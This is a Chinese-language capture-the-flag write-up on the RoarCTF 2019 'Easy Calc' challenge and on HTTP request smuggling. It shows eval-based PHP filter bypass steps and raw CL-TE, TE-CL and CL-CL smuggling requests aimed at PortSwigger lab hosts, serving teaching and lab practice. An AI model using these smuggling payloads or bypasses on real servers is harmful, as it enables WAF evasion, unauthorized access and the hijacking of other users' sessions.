從一道CTF題到HTTP請求走私攻擊
前言
最近在覆盤之前做過的CTF題時,發現有一道比較有趣。是用的PHP 字串解析特性Bypass的思路,但這道題遠不止於此,還有另一種解法,HTTP請求走私攻擊。
RoarCTF 2019 Easy Calc
先看下原始碼:
<?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } eval('echo '.$str.';'); } ?>
用解析特性來做的話,大概思路是這樣的:變數前加空格繞WAF,用scandir()和chr()看目錄下有啥檔案,file_get_contents讀取flag檔案。用解法二做的話,不需要考慮空格繞waf的問題,後面做法一致:
到這裡估計很多人跟我當時一樣懵圈了,又返回400又拿到了flag。這裡先留個懸念
什麼是HTTP請求走私
HTTP請求走私這一攻擊方式很特殊,它不像其他的Web攻擊方式那樣比較直觀,它更多的是在複雜網路環境下,不同的伺服器對RFC標準實現的方式不同,程度不同。在現階段廣泛使用的HTTP1.1協議,提供了兩種不同方式來指定請求的結束位置,它們是Content-Length標頭和Transfer-Encoding標頭,Content-Length標頭簡單明瞭,它以位元組為單位指定訊息內容體的長度。
Transfer-Encoding標頭用於指定訊息體使用分塊編碼(ChunkedEncode),也就是說訊息報文由一個或多個數據塊組成,每個資料塊大小以位元組為單位(十六進位制表示) 衡量,後跟換行符,然後是塊內容,最重要的是:整個訊息體以大小為0的塊結束,也就是說解析遇到0資料塊就結束。
這就導致如果我們使用如反向代理一類的伺服器(後面簡稱為前端伺服器)時,前端和後端系統就請求之間的邊界沒有達成一致的話,就會產生HTTP走私攻擊,很容易使得攻擊者繞過安全控制,未經授權訪問敏感資料,並直接危害其他應用程式使用者。
如何實現HTTP請求走私攻擊
當我們向代理伺服器傳送一個比較模糊的HTTP請求時,由於兩者伺服器的實現方式不同,可能代理伺服器認為這是一個HTTP請求,然後將其轉發給了後端的源站伺服器,但源站伺服器經過解析處理後,只認為其中的一部分為正常請求,剩下的那一部分,就算是走私的請求,當該部分對正常使用者的請求造成了影響之後,就實現了HTTP走私攻擊。
CL不為0時
該情況主要針對不含請求體的HTTP請求,主要以GET請求為主。假如我們的前端伺服器允許GET請求攜帶請求體,但後端伺服器不允許GET請求攜帶請求體時,會直接忽略掉Content-Length頭,進而造成請求走私。
GET / HTTP/1.1\r\n Host: example.com\r\n Content-Length : 51\r\n \r\n GET / HTTP/1.1\r\n Host: example.com\r\n attack: 1\r\n hhh:
這個請求對於前端伺服器來說,是一個正常的請求,但轉發到後端時,因為後端不認Content-Length頭,所以這個請求就變成了兩個請求,當下一個請求到達時,就會拼接到上一個請求中
GET / HTTP/1.1\r\n Host: example.com\r\n Content-Length : 51\r\n \r\n GET / HTTP/1.1\r\n Host: example.com\r\n attack: 1\r\n hhh: GET / HTTP/1.1\r\n Host: example.com\r\n Content-Length : 51\r\n
這會存在什麼危害呢?因為HTTP為無狀態協議,並且很多網站使用Cookie來對使用者狀態進行標識,當我們在第二個資料包構造如刪除使用者、轉賬、修改密碼等敏感操作的時候,起到盜取其他使用者cookie的作用。
CL-TE
CL-TE,即當我們傳送內含兩個請求頭的請求包時,前端伺服器只處理Content-Length,而後端伺服器忽略Content-Length頭,只處理Transfer-Encoding請求頭。這裡用Burpsuite的官方靶場進行演示:
POST / HTTP/1.1 Host: ac911f721f9ee241c01763ef008600f8.web-security-academy.net Connection: close Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="94", "Google Chrome";v="94", ";Not A Brand";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Language: zh-CN,zh;q=0.9 Cookie: session=kSvNgyDye0o1097OwEFsKJD9eu6tpo4k Content-Length: 6 Transfer-Encoding: chunked 0 A
當我們用Burp兩次重放該資料包,會得到返回結果:
解釋一下為什麼Content-Length的長度是6,因為Burp把\r\n給直接解釋成換行了,實際請求體應該是這樣:
0\r\n \r\n A
後端伺服器讀到0\r\n\r\n就會以為這個資料包已經讀完了,最後的字元A會放到下一個請求解析。
TE-CL
TE-CL,即當我們傳送內含兩個請求頭的請求包時,前端伺服器只處理Transfer-Encoding,而後端伺服器忽略Transfer-Encoding頭,只處理Content-Length請求頭:
POST / HTTP/1.1 Host: acae1fe41e622a9bc0c7189700950000.web-security-academy.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Cookie: session=VfTG4xpWeu1NboBIfCyqsHiWb8UjNDGZ Content-length: 4 Transfer-Encoding: chunked 5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0
前端伺服器對於這個請求來說,會處理Transfer-Encoding,讀到0\r\n\r\n的時候,認為是讀取完畢了,就是把他當作一個完整請求,但後端伺服器只認Content-length: 4,這就導致GPOST成為了一個新的請求。
CL-CL
CL-CL即兩個Content-length,當兩者的值不同的時候,會返回400錯誤。但如果伺服器不嚴格按照規範,就會發生前端伺服器按照第一個Content-length頭的值處理,後端伺服器按照第二個Content-length頭的值進行處理
回到最初
因為我們的payload裡有兩個CL頭,對應CL-CL的情形,這時候前後端都會各收到一次我們的請求包,因為伺服器的不規範,雖然返回400錯誤,但是請求依舊發給了後端伺服器,造成了WAF的繞過問題。
合天智匯:合天網路靶場、網安實戰虛擬環境